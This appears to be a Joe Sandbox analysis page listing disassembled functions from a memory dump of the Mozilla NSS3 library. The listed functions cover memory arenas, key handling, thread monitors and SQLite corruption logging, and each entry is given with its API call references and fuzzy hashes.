
Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: e977d76ca47d8616cb7f1a72e9497d35dccdc7cd291a6e4d9408cbdc3ef30aa0
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: 0E11007AE0424D6FE7008AE5AC81B2B737D9B4575CF398029EE048AB52F731D80687A1

Function 6CE5AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CE53FFF,00000000,?,?,?,?,?,6CE51A1C,00000000,00000000), ref: 6CE5ADA7

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CE53FFF,00000000,?,?,?,?,?,6CE51A1C,00000000,00000000), ref: 6CE5ADB4

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CE53FFF,?,?,?,?,6CE53FFF,00000000,?,?,?,?,?,6CE51A1C,00000000), ref: 6CE5ADD5

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF794B0,?,?,?,?,?,?,?,?,6CE53FFF,00000000,?), ref: 6CE5ADEC

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE53FFF), ref: 6CE5AE3C

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 9dcce5a6377797651ab9db730068e94fed7938296f49e2e2e507dc6e76f5f92d
Instruction ID: e8d8502756cc929d9963d17b82691d73ddb9a6b20aea89ef7a95b58e54c2274f
Opcode Fuzzy Hash: 9dcce5a6377797651ab9db730068e94fed7938296f49e2e2e507dc6e76f5f92d
Instruction Fuzzy Hash: 38115671E002045BE7109BA5AC40BBF77B8DF9125CF60422CEC1996741FB21E9A982B2

Function 6CE68FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CE70710), ref: 6CE68FF1
PR_CallOnce.NSS3(6CFB2158,6CE69150,00000000,?,?,?,6CE69138,?,6CE70710), ref: 6CE69029
calloc.MOZGLUE(00000001,00000000,?,?,6CE70710), ref: 6CE6904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CE70710), ref: 6CE69066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CE70710), ref: 6CE69078

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: c1fcb45600b97b20f3160ae008425f54c49d10e48bd352c6f4a6d3c6b4e42854
Instruction ID: d9cdb6bd14a9c574e9dc2eb07fb7b8f893e78b1e80a585e55a5e2c6e1ef730bb
Opcode Fuzzy Hash: c1fcb45600b97b20f3160ae008425f54c49d10e48bd352c6f4a6d3c6b4e42854
Instruction Fuzzy Hash: CC11E562B6011257EBA017AFAC44A6672BCDB827ACF600521FC84C6F41F797CD4583A5

Function 6CE7CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CE91E10: TlsGetValue.KERNEL32 ref: 6CE91E36
Part of subcall function 6CE91E10: EnterCriticalSection.KERNEL32(?,?,?,6CE6B1EE,2404110F,?,?), ref: 6CE91E4B
Part of subcall function 6CE91E10: PR_Unlock.NSS3 ref: 6CE91E76

free.MOZGLUE(?,6CE7D079,00000000,00000001), ref: 6CE7CDA5
PK11_FreeSymKey.NSS3(?,6CE7D079,00000000,00000001), ref: 6CE7CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CE7D079,00000000,00000001), ref: 6CE7CDCF
DeleteCriticalSection.KERNEL32(?,6CE7D079,00000000,00000001), ref: 6CE7CDE2
free.MOZGLUE(?), ref: 6CE7CDE9

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 0c6718d281d02e9e73aac9e6353dc61ab401ad075430a99f607cb47f21fa30ec
Instruction ID: 2d60bbe815ac81a4896478a9787ded7bfd1f4963cc2afb25261531067d20fa7d
Opcode Fuzzy Hash: 0c6718d281d02e9e73aac9e6353dc61ab401ad075430a99f607cb47f21fa30ec
Instruction Fuzzy Hash: B011C6B6B01111ABDB10AFA5ED44A9AB77CFF0425C7204121EA09C7E01E732E424C7E1

Function 6CEE2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CEE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEE5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE2CEC

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_EnterMonitor.NSS3(?), ref: 6CEE2D02
PR_EnterMonitor.NSS3(?), ref: 6CEE2D1F
PR_ExitMonitor.NSS3(?), ref: 6CEE2D42
PR_ExitMonitor.NSS3(?), ref: 6CEE2D5B

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 8907c967f9e9912e4e0dec3ed7584703bd2767958de9afd294b055fd5cb5b9d8
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 8101A1B1A042015BE6309E26FC40BC7B7B1EB69398F204525E95D86B20E632E91586D3

Function 6CEE2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CEE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEE5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE2D9C

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_EnterMonitor.NSS3(?), ref: 6CEE2DB2
PR_EnterMonitor.NSS3(?), ref: 6CEE2DCF
PR_ExitMonitor.NSS3(?), ref: 6CEE2DF2
PR_ExitMonitor.NSS3(?), ref: 6CEE2E0B

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 1b59c3495bb2ae4646ca79231e536334f2bebdf9b1ad928263c0ddd0989dcc6b
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: BD01A1B1A046015FEA309E26FC01BC7B7B1EB59398F204539E95D86B20E632E9258693

Function 6CE7AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CE63090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE7AE42), ref: 6CE630AA
Part of subcall function 6CE63090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE630C7
Part of subcall function 6CE63090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE630E5
Part of subcall function 6CE63090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE63116
Part of subcall function 6CE63090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE6312B
Part of subcall function 6CE63090: PK11_DestroyObject.NSS3(?,?), ref: 6CE63154
Part of subcall function 6CE63090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE6317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CE599FF,?,?,?,?,?,?,?,?,?,6CE52D6B,?), ref: 6CE7AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CE599FF,?,?,?,?,?,?,?,?,?,6CE52D6B,?), ref: 6CE7AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CE52D6B,?,?,00000000), ref: 6CE7AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CE52D6B,?,?,00000000), ref: 6CE7AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CE52D6B,?,?), ref: 6CE7AEA3

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: d26075ea1ccd0bcaf277988d37df16204dc0948e76ff213a68e33ed035fdbdf0
Instruction ID: b33685a820f96971ab90b3d2ddeceddfc9c544601bbf6c34f563a30379a1dd60
Opcode Fuzzy Hash: d26075ea1ccd0bcaf277988d37df16204dc0948e76ff213a68e33ed035fdbdf0
Instruction Fuzzy Hash: 5101D173B9401057E621926DAC81BAB3178CB9769CB281036E809D7B01F616C98A83B3

Function 6CF6BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6CF67AFE,?,?,?,?,?,?,?,?,6CF6798A), ref: 6CF6BDC3
free.MOZGLUE(?,?,6CF67AFE,?,?,?,?,?,?,?,?,6CF6798A), ref: 6CF6BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF67AFE,?,?,?,?,?,?,?,?,6CF6798A), ref: 6CF6BDE9
free.MOZGLUE(?,00000000,00000000,?,6CF67AFE,?,?,?,?,?,?,?,?,6CF6798A), ref: 6CF6BE21
free.MOZGLUE(00000000,00000000,?,6CF67AFE,?,?,?,?,?,?,?,?,6CF6798A), ref: 6CF6BE32

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: b4a55f63fb6e364eaa41e3694dfb743fc1e639caee5ce0c8ca82e570c355befe
Instruction ID: 99b1484a6b3a0ccb7248d52e446499b11c61bd8816f26dcd3952298718ca1f74
Opcode Fuzzy Hash: b4a55f63fb6e364eaa41e3694dfb743fc1e639caee5ce0c8ca82e570c355befe
Instruction Fuzzy Hash: 921118B6F252009FDF80DF69D88DB463BB5FB4B294B140429E50AC7710E733A414CB99

Function 6CF67C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CF67C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF67C83
malloc.MOZGLUE(00000001), ref: 6CF67C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CF67C9F
PR_GetCurrentThread.NSS3 ref: 6CF67CAD

Part of subcall function 6CF19BF0: TlsGetValue.KERNEL32(?,?,?,6CF60A75), ref: 6CF19C07

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: a2d4d73e5206aa9ef0a53dd2e2c1d16bede8b08dfe8e8a5b00c2f0281b4c5fed
Instruction ID: 6828da1155f8ac9f7ced9b62347f6dcdc204f52666d0c92ff80bb99195d5d1ab
Opcode Fuzzy Hash: a2d4d73e5206aa9ef0a53dd2e2c1d16bede8b08dfe8e8a5b00c2f0281b4c5fed
Instruction Fuzzy Hash: C3F0C8B19102066FD7009F77AC059577758EF00369B118436EC19C7F00EB31E214CAD5

Function 6CF6ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CF6A6D8), ref: 6CF6AE0D
free.MOZGLUE(?), ref: 6CF6AE14
DeleteCriticalSection.KERNEL32(6CF6A6D8), ref: 6CF6AE36
free.MOZGLUE(?), ref: 6CF6AE3D
free.MOZGLUE(00000000,00000000,?,?,6CF6A6D8), ref: 6CF6AE47

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 1e71f323db2b2b251e4a7df1e79eba7e4815af81c67a959573f2b3c7b3cd8a15
Instruction ID: 4909c80b31314bebaf375cbbc07f2ca2f0829f7aeaec500efc945279f99da093
Opcode Fuzzy Hash: 1e71f323db2b2b251e4a7df1e79eba7e4815af81c67a959573f2b3c7b3cd8a15
Instruction Fuzzy Hash: 91F09675601A01E7CA109FE9E808B5BF7B8BF86775B140329E52A83940D733F115C7D5

Function 6CDF7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDF7D35

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDF7D13, 6CDF7D1F, 6CDF7D47, 6CDF7D53, 6CDF7D5F
database corruption, xrefs: 6CDF7D29
%s at line %d of [%.10s], xrefs: 6CDF7D2E

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 2661079799aa608fb32f09002fa00b9edddb554ad1571d443ba7f28341c287bc
Instruction ID: 69263e479fadb3fe30804858431d8a2f16f8ff31876a1e53eda9f97452c396eb
Opcode Fuzzy Hash: 2661079799aa608fb32f09002fa00b9edddb554ad1571d443ba7f28341c287bc
Instruction Fuzzy Hash: CA31E371E04229A7D7108F9ECC809F9B7F1BF88209B9B0196E494B7A95D271DC52C7B4

Function 6CDE6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CDE6D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDE6D20
database corruption, xrefs: 6CDE6D2A
%s at line %d of [%.10s], xrefs: 6CDE6D2F

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 49fd2c50f4461f54abf6c6c10a84fe7ba5cb6910e1b4f6db49bd7792df4d8531
Instruction ID: 94a4ecb7f9e4730dc5514daf512dd12436849642400c27a2e50cf4badaf2f329
Opcode Fuzzy Hash: 49fd2c50f4461f54abf6c6c10a84fe7ba5cb6910e1b4f6db49bd7792df4d8531
Instruction Fuzzy Hash: 8B21F470600309DBC710CF1AC841B5EB7F2AF89318F64892DD9499BF61E3B1F94687A2

Function 6CEC2FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+l,6CEC32C2,<+l,00000000,00000000,?), ref: 6CEC2FDA

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CEC300B

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CEC302A

Part of subcall function 6CEB0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB08B4

Part of subcall function 6CE9C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6CE9C45D
Part of subcall function 6CE9C3D0: TlsGetValue.KERNEL32 ref: 6CE9C494
Part of subcall function 6CE9C3D0: EnterCriticalSection.KERNEL32(?), ref: 6CE9C4A9
Part of subcall function 6CE9C3D0: PR_Unlock.NSS3(?), ref: 6CE9C4F4

Strings

<+l, xrefs: 6CEC2FD0

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

